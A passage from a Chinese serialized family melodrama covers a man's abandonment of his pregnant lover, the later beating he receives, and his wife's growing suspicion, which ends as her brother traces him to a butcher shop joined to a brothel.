冯玉航当然知道这是父亲给他想好了的借口,于是便顺着说道:“是啊,原本师傅只放了我三天假,可是我一看到你,我就只想天天躺着你的身边,不想走了!”说着还故意往秋容的耳边蹭了蹭! 秋容有些气恼地推了冯玉航一下,娇嗔道:“你怎么能这样呢?你之前可是答应过我的,只要你学好了算账的本事,我们就成婚。可你现在却如此不认真,这让我如何能放心地嫁给你呢?” 冯玉航看着秋容那略带嗔怒的面容,心中不禁有些开心,连忙笑着安慰道:“好好好,我知道错啦,我这就去好好学手艺,一定不会让你失望的。我保证,我会尽快迎娶你过门的!” 秋容听了冯玉航的话,脸上的怒气稍稍缓和了一些,但还是有些不放心地叮嘱道:“你可一定要说到做到哦,我可等着你呢。” 冯玉航连连点头,然后与秋容拥抱在了一起。两个人就此分别! 时光荏苒,时间转瞬即逝。这天,秋容突然感觉到身体有些异样,她心中暗叫不好,赶忙去看了大夫。结果不出所料,她竟然怀上了身孕! 与此同时,在另一个地方,安素素也顺利地产下了一个可爱的儿子,一家人都沉浸在新生命降临的喜悦之中。 有了儿子的喜悦让冯玉航的心思又重新回到了安素素的身上!这个小家伙的到来,不仅给他带来了初为人父的快乐,更让他意识到家庭的重要性。 时光荏苒,转眼间冯玉龙已经满月了。冯家为了庆祝这个特殊的日子,在饭店里订了一大桌丰盛的酒菜。全家老小齐聚一堂,欢声笑语,举杯畅饮,共同祝福这个新生命的诞生。 然而,就在这热闹的氛围中,秋容却在无意之中在街上看到了冯玉航的身影。她心中一阵狂喜,迫不及待地想要追上他,告诉他一个天大的好消息——她已经怀上了他的孩子! 秋容脚步匆匆,满心欢喜地朝着冯玉航的方向奔去。然而,就在她即将追上冯玉航的时候,一个眼尖的身影突然出现在她面前,拦住了她的去路。 秋容定睛一看,竟然是冯玉航的母亲!冯母一脸严肃地看着秋容,毫不留情地说道:“我说你这丫头,以前总是纠缠着我儿子也就罢了,如今我儿子都已经娶妻生子了,你何必又要来苦苦纠缠呢?我劝你啊,还是回去好好寻个婆家吧!你们两个这辈子注定了有缘无份了!” 秋容一脸的不愿意相信,她觉得是冯家母亲看不上她,故意说的骗她的话,她满脸惊愕地看向冯母,难以置信地说道:“我不相信,他怎么可能成婚了呢?可是我才是真的有了他的孩子啊!我要见他,我一定要当面问个清楚!” 冯母一听,脸色瞬间变得阴沉下来,她急忙伸手捂住秋容的嘴巴,用力往旁边一拽,压低声音呵斥道:“你不要在这里胡言乱语!你又没有嫁给我儿子,怎么可能会有孩子?我可警告你,今天可是我孙儿满月的大日子,你绝对不准在这里胡闹!” 秋容听冯母这么一说,身体猛地一晃,双腿像被抽走了力气一般,突然一软,“扑通”一声,一屁股重重地坐在了地上。 她瞪大了眼睛,满脸惊愕地看着冯母,嘴里喃喃自语道:“孙儿?满月了?” 而就在这时,站在房间里面的冯玉航自然也看到了外面发生的这一幕。他的脸色被吓得苍白如纸,额头上冒出了一层细汗,显然心中充满了恐惧和不安。他紧紧地贴在墙边,似乎完全不敢面对眼前的这一切,只能躲在里面,连大气都不敢出一声。 这时,安素素走过来问道:“外面那位姑娘是谁啊?怎么跟娘拉拉扯扯的?” 冯玉航听到安素素的话,额头上的汗珠更多了,他一边擦着汗,一边有些心虚地解释道:“那个……我也不太清楚具体欠了多少,应该不是很多吧。可能是因为我娘来照顾你,两个多月都没回去,她就着急了,觉得我们家故意拖着不还钱。” 安素素对这件事并不在意,她怀里抱着孩子,眼睛盯着孩子,头也不抬地说道:“不管欠了多少,总归还是欠了人家的钱,被人家在大街上拉拉扯扯的,多难看啊。你还是赶紧去把钱还给她吧。真是乡下人,一点教养都没有!” 就在这时,外面的秋容又开始吵闹起来,非要冲进屋里找冯玉航问明白。冯玉航心里有些无奈,他既怕秋容会把事情闹大,又担心安素素会知道一些不该知道的事情。犹豫片刻后,他最终还是硬着头皮冲了出去,想要尽快解决这个麻烦。 秋容满心欢喜地望着冯玉航从门里走出来,脸上的笑容像盛开的花朵一般灿烂。她迫不及待地迎上前去,想要与他分享自己的喜悦。 然而,她万万没有想到的是,冯玉航竟然毫不留情地一把将她拽进了一条偏僻的巷子里!这突如其来的举动让秋容完全愣住了,她甚至来不及反应发生了什么事情。 秋容的脑海中一片空白,她瞪大眼睛,看着冯玉航那张充满怒气的脸,心中充满了疑惑和恐惧。还没等她缓过神来,冯玉航就气势汹汹地发问:“你不好好待在家里面,你来这里做什么?你是故意来毁我的吗?” 秋容的眼泪在眼眶里打转,她颤抖着声音解释道:“我怀孕了!我知道,你娘她是不喜欢我,所以才说的那些话骗我的对不对?我相信你不会这样对我的!” 她紧紧地拉住冯玉航的手,仿佛那是她最后的一丝希望。然而,冯玉航却只是冷漠地推开了她的手,然后从口袋里掏出一叠钱,递给秋容。 “我娘说的都是真的,这钱你拿去,好好给自己补补身子,我现在还不能娶你!我有我的苦衷!秋容,你平日最是善良,你会理解我的吧!”冯玉航的语气平淡而决绝,没有丝毫的商量余地。 秋容的心头涌起一股怒气,她瞪大了眼睛,满脸怒容地看着冯玉航,无法抑制内心的愤怒。她猛地抬起手,用尽全身力气朝着冯玉航狠狠地扇了一巴掌:“你既然已经有了妻儿,何必还要来骗我?” 这一巴掌打得极重,发出清脆的声响。然而,挨了一巴掌的冯玉航并没有丝毫示弱,他的怒火瞬间被点燃。他瞪大了眼睛,恶狠狠地盯着秋容,毫不犹豫地扬起手,以凶猛的力量还击了秋容一巴掌。 秋容完全没有预料到冯玉航会对她动手,这一巴掌打得她措手不及,身体猛地一晃,有些站立不稳。她踉跄了几步,最终一屁股摔倒在地上,狼狈不堪。 冯玉航见状,不仅没有丝毫的怜悯,反而更加嚣张地将手中的一沓票子狠狠地甩在了秋容的脸上。票子像雪花一样散落开来,有些甚至飘落在秋容的头发上和衣服上。 “别他妈给脸不要脸!”冯玉航怒不可遏地吼道,“老子在窑子里睡个女人,都从来没有给过这么多钱!你最好识趣点,别再在这里纠缠不休!否则,你信不信我让所有人都知道你是个没人要的破鞋!” 说完,冯玉航头也不回地转身离去,留下秋容一个人坐在地上,满脸惊愕和痛苦。 后面发生的事情就如同传闻中所说的那样,秋容因为接受不了事实而想不开,最终选择了跳河自尽。然而,幸运的是,她被路过的王家人救起。 不过,令人意想不到的是,真正救起秋容的人并不是王永祥,而是他的哥哥王永航。当时的王永航已经成家立业,有了妻子和孩子。面对眼前这个想要轻生的女子,王永航心生怜悯,为了让她稳定情绪,不再做出傻事,他随口说道要娶秋容为妻。 然而,当王永航回到家中后,他突然意识到弟弟王永祥尚未成婚。而且,由于兄弟俩相貌颇为相似,王永航灵机一动,想到可以将这件事情告诉父母和弟弟,让弟弟去迎娶秋容也是挺好的。 于是,王永航将事情的来龙去脉一五一十地告诉了家人。经过一番商议,大家都觉得这个主意不错,既能解决秋容的困境,又能让王永祥顺利成家。就这样,在家人的安排下,王永祥和秋容的婚事得以顺利促成。 而秋容自始至终都没有怀疑过救她的人并非王永祥,她一直以为自己的救命恩人就是自己的丈夫。 第140章 梦话 外面的雨下得极大,豆大的雨珠像断了线的帘子一般,啪嗒啪嗒地直往下面掉!整个世界都被这突如其来的大风大雨笼罩着,天地间一片灰蒙蒙的,让人的心情也变得压抑起来。 安素素站在窗前,眉头紧蹙,心中充满了担忧。她担心在外还没有回来的丈夫和儿子,出门时他们都没有带上雨伞,这么大的雨,他们会不会在外面被雨给打湿了呢?这天气如此寒冷,如果再受了寒,那不得病一场才怪! 安素素焦急地在房间里踱步,不时地望向窗外,希望能看到丈夫和儿子的身影。然而,除了那如注的雨水,她什么也看不到。时间一分一秒地过去,她的担忧越来越深。 突然,门口传来一阵响动,安素素急忙转过身去,只见冯玉龙一个人浑身湿漉漉地走了进来。他的头发被雨水打湿,一缕缕地贴在额头上,还不断地往下滴着水珠,衣服和鞋子也都湿透了,仿佛是刚从水里捞出来一样。 安素素见状,心疼不已,急忙拿起一条干毛巾,快步走到儿子面前,帮他擦拭着头发。她一边擦,一边朝着屋外面张望着! 安素素关切地问道:“玉龙,你怎么淋成这样啊?你爹呢?怎么就你一个人回来了?” 然而,让安素素万万没有想到的是,冯玉龙却突然一脸怒气,他猛地甩开母亲的手,大声说道:“提他做什么?他不回来最好!”说完,他无视母亲惊愕的表情,自顾自地转身,噔噔噔地跑上楼去了,留下安素素一个人站在原地,不知所措。 安素素又是准备热水又是准备姜汤的,待冯玉龙泡了热水澡换上了干净衣服,又喝了姜汤躺进了被窝的时候,安素素才又张口问道:“今天这是怎么了?不是说把玉露他们接过来的吗?这天都快黑了,怎么就一个人回来了?你跟你爹在路上吵架了?” 冯玉龙很想把事情全都告诉母亲,可是母亲若是知道了伤心难过那可怎么办,一时间他有些难以抉择不知道该怎么说才好! 安素素看着冯玉龙的样子,心中不禁有些诧异。她温柔地笑着说道:“你这孩子,平日里跟你爹不是挺亲的嘛,今天这是怎么了?” 然而,冯玉龙的脸上却毫无表情,仿佛对母亲的关心无动于衷。他紧紧咬着嘴唇,不想让母亲看到自己内心的痛苦和愤怒。他心里暗暗责怪那个所谓的父亲,觉得他就是个彻头彻尾的大骗子。 终于,冯玉龙忍不住了,他气愤地说道:“我恨他!以后他不是我爹!还有,那门亲事也没了!玉露她也不会嫁给我了!” 安素素听了儿子的话,脸上露出了惊愕和疑惑的神色。她完全不明白为什么会突然发生这样的事情,于是急忙问道:“你说什么?好端端的这亲事怎么还没了呢!到底是怎么一回事儿啊?” 面对母亲的追问,冯玉龙却只是沉默不语,似乎并不愿意多谈。安素素见状,也不好再追问下去,只好无奈地叹了口气,轻轻地给儿子盖上被子,温柔地说道:“不想说就算了吧!快盖好躺会儿,别得了风寒!” 然而,命运似乎总是喜欢捉弄人。尽管安素素如此关心和呵护着冯玉龙,但现实却并不如她所愿。仅仅过了不到半个时辰,冯玉龙的身体就开始发起高烧,而且热度越来越高,让人忧心忡忡。 而此时,冯玉航却迟迟没有归来,这让安素素的心情愈发焦急起来。 窗外雷雨交加,电闪雷鸣,冯玉航站在屋檐外面躲着雨,他一心想要跟秋容确认,那个叫玉露的女孩子到底是不是自己的女儿?! 他欲敲门与秋容沟通,但是秋容在屋内对外面传来的声音置之不理,充耳不闻! 下了一夜的雨,第二天雨转天晴,空气中都透露着清新的味道! 秋容一觉睡到了天亮,她起床打算出门去把昨晚丢在外面的菜篮子捡回来! 可是她一打开门,却见冯玉航缩在门口睡着了,怀里还抱着自己的菜篮子! 冯玉航正沉浸在睡梦中,突然被秋容的开门声惊醒。他猛地睁开眼睛,身体迅速从地上站了起来,目光直直地落在门口秋容的身上。 “秋容?”冯玉航的声音有些颤抖,似乎不敢相信眼前的景象,“你……你愿意见我了?” 然而,秋容的脸上并没有他所期望的温柔和欣喜,反而充满了怒气。她瞪着冯玉航,厉声道:“你怎么还在这里?还不快点离开我家,滚远点!”说完,她毫不客气地夺回了自己家的菜篮子。 冯玉航完全没有料到秋容会如此决绝,他呆呆地站在原地,一时不知如何回应。过了好一会儿,他才回过神来,结结巴巴地问道:“秋容,其实我就只想问你一句话,玉露她……她是我的孩子吗?” 秋容的怒火更甚,她怒视着冯玉航,吼道:“你胡说什么?你在做什么白日梦!我劝你不要在这里胡言乱语,这里是王家!她姓王!”说罢,她用力一推,想要关上那扇门。 冯玉航见状,急忙伸手死死抓住门框,不肯松手。他的声音带着一丝哀求:“秋容,之前都是我不对,是我辜负了你。但是,之前你明明说过你有孕了,我算了一下时间,玉露她应该就是我的女儿才对啊!” 正拉扯着,王国柱突然瞥见婶子家门口站着一个陌生男人,正与婶子纠缠不休。他心中的怒火瞬间被点燃,想都没想,一个箭步冲上前去,对着那个男人就是一顿猛揍! 秋容站在一旁,眼睁睁地看着国柱骑在冯玉航的身上,毫不留情地挥舞着拳头,狠狠地砸向他的身体。每一拳都带着无尽的愤怒和力量,让冯玉航根本无法抵挡。 秋容见状,不仅没有劝阻,反而在一旁大喊:“国柱,给我狠狠地打!只要别把人打死了就行,打完之后把他扔得远远的!”她的声音中透露出对冯玉航的深深厌恶和痛恨。 王国柱听到婶子的话,更是觉得这个男人肯定是个恶人,专门上门欺负婶子她们孤儿寡母。 于是,他下手更重了,嘴里还不停地骂道:“看你还敢来欺负我婶子?你是吃了熊心豹子胆了!”随着他的话音落下,又是一拳狠狠地打在冯玉航的脸上,这一拳直接把冯玉航的两颗牙齿都给打掉了! 冯玉航毕竟年纪大了些,身体远不如王国柱这样的年轻人强壮。在王国柱狂风暴雨般的攻击下,他很快就支撑不住了。没过多久,他就被打得鼻青脸肿,满脸是血,躺在地上奄奄一息。 王国柱起身看了看躺在地上的人,又望向秋容,说道:“婶子,这人估计一两个月都下不了床,他肯定不敢再来欺负你们啦!” 秋容面无表情地看着躺在地上的人,说道:“国柱啊,还得麻烦你把他弄走丢远一些,免得被邻居们看到又要说三道四的!” 王国柱挠了挠头,提议道:“婶子,要不我去套个牛车,把这人丢到县城边上去吧。县城离咱这儿也不算太远,要是他死在咱们这儿,那咱们可就说不清啦,说不定还会被当成杀人犯呢!” 秋容听了,连连点头:“嗯,国柱,你说得对,就这么办吧。” 王国柱想了想,说:“婶子,我把他丢到县城里人多的地方去,让大家都能看到他。到时候,谁家的男人谁就领回去呗!” 秋容听了,觉得这个办法可行,便催促道:“那你赶紧去吧,别磨蹭了。” 王国柱应了一声,转身去套牛车。不一会儿,他就把牛车套好了,然后像丢垃圾一样,把地上的人扔到了牛车上。 一路狂奔,终于抵达了县城。王国柱趁着四下无人,迅速将车上的人弃置于路边,然后调转车头,匆匆离去。 与此同时,安素素家中的情况却令人揪心。冯玉龙突发高烧,一夜未退,安素素心急如焚,整夜未眠,衣不解带地守在床边照顾着他。然而,让她百思不得其解的是,丈夫为何突然一夜未归?究竟是发生了何事? 安素素的心头被忧虑笼罩,各种猜测在脑海中盘旋。她不禁胡思乱想起来,难道是丈夫在外面遭遇了路滑之类的意外?一想到这里,她的心跳愈发急促,焦虑之情溢于言表。 正当安素素胡思乱想之际,一阵急促的敲门声突然传来,打破了清晨的宁静。这大清早的,茶楼尚未开门营业,会是谁如此迫不及待地前来敲门呢?安素素心头一紧,难道是玉航回来了?她急忙走到窗边,向下张望,只见门外站着的似乎是街边卖菜的胖婶儿。 安素素快步走下楼去,打开门,满脸疑惑地问道:“胖婶儿,您这一大清早的,怎么就来敲门啦?是不是有什么急事啊?快,进来屋里坐,慢慢说!” 胖婶儿心急如焚地对安素素喊道:“哎呀,我的老天爷呀,还坐什么坐啊,你别磨蹭了!你男人都快不行啦,还在外面躺着呢,你赶紧跟我走啊!” 安素素被胖婶儿这突如其来的一嗓子吓得一激灵,她手忙脚乱地站起身来,一边被胖婶儿拽着往前走,一边满脸狐疑地问道:“胖婶儿,您确定没看错吗?真的是我家玉航吗?” 胖婶儿一脸笃定地回答道:“那还有假?咱们这街里街坊的,天天抬头不见低头见的,我还能认错人不成?” 安素素一听这话,心里顿时“咯噔”一下,她的脚步也变得有些踉跄起来。她喃喃自语道:“这可如何是好啊,昨天他出门的时候还好好的呢,怎么出去一趟就变成这样了呢?” 胖婶儿见安素素有些六神无主,赶忙安慰她道:“先别慌,咱们先过去看看情况再说。” 两人急匆匆地赶到路口,安素素一眼就看到了躺在地上的冯玉航。只见他面色苍白如纸,双眼紧闭,一动不动地躺在那里,仿佛失去了所有的生气。 安素素的心如刀绞一般,她不顾一切地扑到冯玉航的身上,放声痛哭起来:“玉航啊,你怎么会这样啊?到底是谁这么狠心,对你下这么狠的手啊?” 冯玉航咳嗽了两声,安素素确认了他还活着,立马说道:“你别乱动,我立马找人把你抬回家,再请大夫来!” 冯玉航只是轻轻的点了点头,便晕了过去…… 安素素好不容易安顿好了冯玉航,大夫看完也只是说着了凉,得了风寒,其他也都是皮外伤,慢慢养着些就是了! 安素素满心狐疑,究竟是什么人如此心狠手辣,竟然能将玉航伤得如此之重……她的心中充满了好奇。 但是儿子又始终不愿意多说什么,自己又不知道他们父子到底发生了什么。这让安素素越发觉得事情扑朔迷离。 与此同时,躺在病床上的冯玉航正深陷一场可怕的噩梦之中。在梦中,秋容手持一把寒光闪闪的利刃,面目狰狞地瞪着他,然后毫不留情地将刀子猛地刺进了他的胸口。 冯玉航惊恐万分,失声尖叫:“秋容,不要……秋容……” 这突如其来的梦话,把一旁的安素素吓了一大跳。她瞪大眼睛,满脸惊愕地看着丈夫,心中暗自思忖:“秋容?这是谁?”这个名字似乎有些耳熟,但她一时之间却怎么也想不起来。 不过,安素素的直觉告诉她,这个秋容肯定和父子俩有着千丝万缕的联系。她越想越觉得事情不简单,心中的疑虑也越来越深。 安素海听闻妹夫和外甥父子二人都染上了风寒,心中十分挂念。他深知风寒之症虽非绝症,但也不可小觑。 于是,他急匆匆地赶来探望。他刚一踏入茶楼,还未站稳脚跟,就感觉有人猛地一拽,将他拉到了一旁。他定睛一看,原来是安素素,只见她一脸神秘地凑过来,压低声音问道:“我跟你打听一个人,你可不许瞒着我!” 安素海有些诧异,他看着妹妹,疑惑地反问道:“什么人啊?居然还用你亲自打听?你这地方平日里可是消息最灵通的地方,方圆十里谁家鸡毛狗的事儿,你哪天不是听都听不过来,有什么人还能是你不知道的?” 第141章 安素素的疑惑 安素素一脸严肃,郑重其事地说道:“你就别逗我玩了,我可没心情跟你开玩笑,我现在跟你说的可是正经事呢!你到底知不知道秋容是谁啊?” 安素海看着妹妹一脸认真的样子,不禁觉得有些好笑,他故意逗她道:“你不知道秋容是谁?一点印象都没有?” 安素素被哥哥这么一问,心里更加着急了,她皱起眉头,努力回忆着,突然好像想起了什么,但又不是很确定,于是说道:“嗯……我好像是在哪里听过这个名字,但是具体是谁,我真的想不起来了!你就别再跟我卖关子了,快直接告诉我吧!” 安素海见妹妹如此急切,也不再逗她,直接说道:“你可真行啊,那秋容不就是你未来的亲家母嘛!” 安素素闻言,顿时瞪大了眼睛,满脸难以置信的表情,她失声叫道:“什么?你是说,秋容就是玉露她娘?” 安素海看着妹妹惊讶的样子,无奈地摇了摇头,说道:“我的话你还不相信啊?那你问我干什么?” 安素素心中充满了疑惑,她实在想不通,到底他们父子俩发生了了什么事情,不仅婚事退了,怎么人还被打成了那样! 安素素不想儿子的婚事就此退了,她拜托大哥帮忙照看着店子,自己带了礼品,带了个伙计一起,几番打听来到了秋容的家门外! 安素素站在门前,抬起手轻轻地敲了敲门。屋内传来秋容的询问声:“谁啊?”接着,一阵脚步声由远及近,门被缓缓地打开了。 安素素的目光落在了前来开门的女人身上,她仔细端详着对方,心中暗自思忖着。犹豫片刻后,她终于开口试探道:“你就是秋容?” 秋容显然对安素素的到来感到有些诧异,她看着眼前这个陌生的女人,脸上露出一丝疑惑。她不记得自己曾经见过安素素,于是疑惑地问道:“你找我有事儿?” 安素素并没有立刻回答秋容的问题,她的脑海中不断闪现出一些模糊的记忆片段。她凝视着秋容,似乎想要从对方的面容中找到一些熟悉的痕迹。过了一会儿,她突然想起了什么,连忙问道:“你不是十几年前在那酒楼门前要账的那姑娘吗?” 正当两人交谈时,王玉露从里面走了出来。她一眼就认出了安素素,惊喜地喊道:“娘,她是玉龙的娘啊!” 安素素看到了王玉露以后,脸上立刻露出了灿烂的微笑,她兴奋的说道:“这真是太巧了,我也没想到玉露竟是你的女儿!” 王玉露满脸狐疑地看着母亲,她不禁好奇地问道:“娘,你们两个以前就认识吗?” 然而,秋容的脸上却没有丝毫的笑容,她的神情显得有些凝重,语气也颇为冷淡地对王玉露说:“玉露,我们两个还有些别的话要说,你先回屋里去吧。” 王玉露虽然心中有些不解,但还是顺从地应了一声“哦”,然后转身走进了屋子。 待王玉露离开后,安素素微笑着对秋容说:“妹子,昨天我也不知道玉龙他们父子俩来这儿是不是发生了什么不愉快的事情。所以今天我特意准备了一些薄礼,希望您能收下。毕竟玉露这姑娘,我也是真心的喜欢,咱们两家的这两个孩子,我看着还是挺般配的呢!这婚事也不能说退就退了不是……” 秋容并没有回应安素素的笑容,她的脸色依旧阴沉,冷漠地说道:“你把东西拿回去吧,这礼我是绝对不会收的!当年是冯玉航告诉你我是去要账的吗?” 安素素显然没有料到秋容会如此直接地拒绝,她的笑容瞬间凝固在了脸上,有些尴尬地问道:“难道你不是去要账的吗?” 秋容嘴角微扬,发出一声冷笑,声音中透露出明显的不屑和嘲讽:“哼,你还是赶紧回家去,好好看看你那个同床共枕的人到底对你隐瞒了多少事情吧!……我可不会相信一个人的品行会突然之间就变得高尚!行了,你走吧,我这儿可不欢迎你!” 话音未落,只听“啪”的一声,秋容毫不留情地关上了门,仿佛这扇门就是她和对方之间无法跨越的鸿沟。 站在秋容身后的伙计有些尴尬地拎着那堆礼品,不知所措地看着她,小心翼翼地问道:“老板娘,这礼物……怎么办?” 安素素的眉头紧紧皱起,脸色阴沉得像要下雨一般,她瞪了伙计一眼,没好气地说:“还能怎么办?拿回去!”说罢,她转身头也不回地大步离去,伙计立马拎着礼物追着后面跑着! 安素素一脸怒气的回了家,她不停的在心里斟酌秋容说的那句话,她到底是知道些什么,难道真有什么事情会是自己不知道的?再加上儿子玉龙的反应,她几乎可以确定,定是因为冯玉航做了什么见不得人的事情,让秋容知道了,秋容才不愿意把女儿嫁进来的! 安素海看妹妹一脸不悦的回来,赶忙上前问道:“妹子,是去那王家不顺利吗?我之前看你那亲家母挺好说话的啊!” 安素素抬头望向安素海,内心有些不安,问道:“哥,你知不知道玉航他是不是瞒着我在外面做过什么事情?” 安素海劝蔚道:“我说妹子,你这怎么出门了一趟,回来胡思乱想啥呢,妹夫他除了隔段时间出门购买茶叶,其他时间可都是跟你寸步不离啊!怎么可能会做出什么事情来?” 安素素摇了摇头:“不对,一定是有什么我们都不知晓的原因,要不然,那王家也不可能说退亲就退亲了!” 安素海满脸惊讶地问道:“什么,王家怎么说退亲就给退亲了?他们还说了什么?” 安素素在靠窗的位置坐了下来,手扶着额头,似乎有太多的事情想不明白:“她今日连门都不曾让我进去,说让我看清楚自己的枕边人,还说人品不可能一下子变好,大哥,难道真的有什么事情是我们都被蒙在鼓里的吗?” 安素海来回踱步,突然开口说道:“那还不简单,我上去直接问他不就好了!” 安素素一把拉住了安素海,她摇了摇头:“大哥,昨天我问玉龙很久,玉龙都不愿意说出为什么,而且他对他爹的态度像是突然很讨厌一般!这里面一定有事!孩子不愿意说出来,一定是怕我伤心!你若是直接去问冯玉航,我猜他也不见得会说什么真话!” 安素海一拍桌子,自己也在窗边坐了下来:“这问都不让问,那还怎么知道是他在瞒着些我们什么?” 安素素静静的凝视着窗外那繁华喧嚣的街道。车水马龙,人来人往,仿佛整个世界都在她的眼前流淌而过。她深吸一口气,转过身来,对着坐在一旁的安素海说道:“大哥,下次去采购茶叶的时候,就由你带着玉龙一起去吧。其他的事情,我会在暗中留意的。” 安素海面露担忧之色,他犹豫了一下,还是说道:“素素,我觉得还是我来替你盯着他比较好。玉龙也长大了,是时候可以让他自己出去闯荡一番了。” 安素素叹了口气,心中的忧虑愈发沉重。她知道大哥的担心不无道理,但她实在放心不下玉龙。她摇了摇头,轻声说道:“我这心里现在也是乱得很,等过些日子再说吧。我先去看看玉龙现在怎么样了。” 说完,安素素缓缓起身,推开房门,走进了玉龙的房间。房间里,冯玉龙正静静地坐在窗边望着窗外,眼神有些空洞,似乎在沉思着什么。 安素素走到玉龙身边,关切地问道:“玉龙,你感觉好些了吗?怎么突然就起来了呢?” 冯玉龙回过神来,看着母亲,露出一个微笑,安慰道:“娘,您别担心,我已经好多了。” 安素素却扶着玉龙躺下:“生病了还是要多休息着才是!你啊,可得早些把身体养好,等你身体养好了,以后这茶楼,我打算就交给你来打理了!以后去采买茶叶的事情,我想让你接手,顺带出去见见世面!” 冯玉龙满脸写着意外,他开始想着莫不是母亲知道了些什么,但是看着母亲脸上的神情应该也并不知道什么!怎么会突然提出让自己去采买茶叶,又是让自己接手茶楼的,真是有些奇怪! 还未等冯玉龙开口询问为什么,安素素便开了口:“玉龙,你长大了,可以有所担当了,我相信,你一定能打理好这个茶楼的!” 冯玉龙突然替母亲觉得委屈,一阵眼泪流出来,抱住了母亲! 安素素一边给儿子擦着眼角的泪水,一边笑着说:“刚才还说你长大了呢,这怎么还哭鼻子了,羞不羞啊?” 冯玉龙此时此刻,似乎把心中的委屈都哭了出来! 母子两个相互依偎着在一起,冯玉龙本想一走了之,远离这是非之地,就在这一瞬间,他改变了想法,他要保护好自己的母亲,不能让母亲再有一点的伤害!就算玉露真的是自己的妹妹,她们也是无辜的,且这么多年,父亲并没尽职,自己理应多照顾一下才是! 安素素见儿子终于恢复了正常,心中的一块大石头落了地,但她还是忍不住开口问道:“玉龙啊,昨天你回来的时候,你爹他在哪儿呢?” 听到母亲的询问,冯玉龙的眼神不由自主地飘向了窗外,仿佛窗外有什么东西吸引着他的注意力一般。他不敢直视母亲的眼睛,因为他始终还是不想说出来,可是不说出来又觉得欺骗了母亲让他觉得内心不安,而且他也不想让母亲看出自己的不安。 犹豫了片刻,冯玉龙才缓缓开口说道:“昨天下雨了,我就赶紧跑回家了,至于我爹后面去了哪里,我也不知道。” 安素素叹了一口气,她紧接着说道:“你爹他也不知道是得罪了什么人,竟然被人打伤了,今天早上还被人丢在了街边上!”她的脸上透露着担忧! 冯玉龙的脸上依旧没有太多的表情,他只是淡淡地说道:“伤了就伤了呗!说不定是他自己不小心摔伤的呢!” 安素素看着儿子这副状态,总觉得今日的儿子与往日很不一样!往日的玉龙乖巧孝顺,从来不会说话这么冰冷…… 安素素她实在按捺不住心中的疑惑,终于开口对儿子说道:“玉龙啊,你告诉娘,你是不是知道些什么事情?” 冯玉龙看着母亲焦急的面容,嘴角微微上扬,露出一抹淡淡的笑容。他轻轻地摇了摇头,似乎想要打消母亲的疑虑。 “娘,我真的不知道你在说什么。”冯玉龙的声音平静而温和,“我有点累了,想好好休息一下。” 安素素凝视着儿子,她能感觉到儿子似乎在隐瞒着什么,但她也不想逼迫儿子。于是,她温柔地给儿子盖好被子,轻声说道:“那好吧,玉龙,你就安心休息吧。” 说完,安素素转身走出了房间,轻轻地关上了门。然而,她的心中依然充满了疑问,转头又进了丈夫躺着的房间。 此时房间里,冯玉航慢慢地睁开了眼睛,他的喉咙干涩得像被火烤过一样,于是他用手指着桌上的茶杯,有气无力地说道:“水……我要喝水……” 如果是在平常的日子里,安素素肯定会毫不犹豫地立刻去给他倒一杯水。然而,今天却有些不同寻常,她的心中莫名地感到一阵烦躁,就好像有一团无名之火在胸口燃烧,让她喘不过气来。 她站在原地,呆呆地看着冯玉航,一时间竟然不知道该如何是好。她觉得自己的胸口好像被什么东西堵住了,想要发泄却又找不到发泄的出口。 最终,安素素没有理会冯玉航的请求,她转身快步走出了房间,只留下了一句话:“你稍等一会儿,我会让伙计上来照顾你!下面的生意还忙着呢!”说完,她“砰”的一声关上了门,仿佛这样就能把心中的烦闷一并关在门外。 第142章 猪肉铺子 时间眨眼间便过去了一个月,冯玉龙每天都在茶楼里帮衬着母亲,对于父亲却是一副视而不见的模样! 冯玉航此时身体也恢复了大半,他数次想找儿子谈心却都被拒之门外,就连安素素数次问他是怎么受的伤,他都声称是自己跟一个喝多了的醉汉打了一架! 对于他这样的说辞,安素素压根就不信! 反观冯玉航躺在家里养伤期间的这一个月里,儿子对他冷眼相对,置之不理,妻子忙于茶楼生意,几乎也鲜少顾得上他! 这不,一觉醒来,站在窗边朝下望去,安素素与玉龙都在下楼忙活着,他有些许无聊,又觉得自己下楼去了的话,儿子可能还是不会待见自己,思索了一番后,他决定出去散散心! 就在他从茶楼后门走出去的那一刻,却不知道安素海不知道什么时候在身后面偷偷跟着了冯玉航,只见他如平日一般出门后朝着菜市场的方向走去,随后进了那家猪肉铺子! 安素海心中暗自嘀咕着,这冯玉航平日里既不做饭又不买菜,怎么会突然走进这家猪肉铺子呢?难道是他嘴馋了,忍不住想买点肉解解馋? 安素海站在猪肉铺子外,心里充满了好奇和疑惑。他决定稍等片刻,看看冯玉航是否会很快出来。时间一分一秒过去,几分钟后,冯玉航依然没有现身。 安素海开始有些不耐烦了,他站起身来,决定走进铺子一探究竟。推开门,一股猪肉的腥味扑面而来,安素海不禁皱起了眉头。 进入屋内,安素海环顾四周,发现这里只有一个老太太。老太太年纪颇大,眼神和听力似乎都不太好。 安素海在屋子里扫视了一圈,并没有看到冯玉航的身影。他心生疑虑,难道冯玉航已经离开了? 安素海迈步走向老太太,提高声音问道:“大娘,我想打听一下,刚才进来的那个人去哪儿了?” 老太太眯起双眼,努力伸长耳朵,想要听清楚安素海的问题。然而,她的听力显然不太好,安素海的声音对她来说似乎有些模糊。 老太太扯着嗓子,声嘶力竭地喊道:“啊?你说啥?大声点儿,我听不清!” 安素海无奈的叹了一口气,再次追问道:“我说刚才进来的人!人!人去哪儿了?”说着还用手势一个劲儿的比划着人的样子,似乎想让那位老太太能够更明白一些自己想要表达的意思。 那老太太步履蹣跚,挪动着小碎步,嘴里嘀咕着:“肉啊,你要买肉还要等我儿子回来!” 安素海一脸疑惑地说道:“我不是要买肉啊……”话到嘴边,他突然觉得多说无益,于是改口问道:“算了,你儿子在哪里?” 听到安素海提起自己的儿子,老太太似乎明白了他的来意,连忙用手指了指后院的方向。安素海见状,二话不说,立刻朝着后院飞奔而去。 然而,当他来到后院时,却发现这里空无一人,四周静悄悄的,连一点声响都没有。这让安素海感到十分诧异,心中不禁升起一股疑虑。 正当他百思不得其解的时候,忽然听到院外传来一阵女人的声音,那笑声清脆悦耳,如银铃一般,让人一听就不由自主地被吸引过去,想要一探究竟。 仿佛有一股无形的力量在驱使着他,安素海鬼使神差般地推开了那扇小门。门开的瞬间,他的眼睛瞪得浑圆,嘴巴也张得大大的,满脸都是难以置信的表情。 原来,这扇看似普通的小门背后,竟然隐藏着如此惊人的秘密!从表面上看,这里只是一个毫不起眼的猪肉铺子,但谁能想到,这个铺子的后门竟然与那灯红酒绿、纸醉金迷的醉春阁的后门紧紧相连在一起! 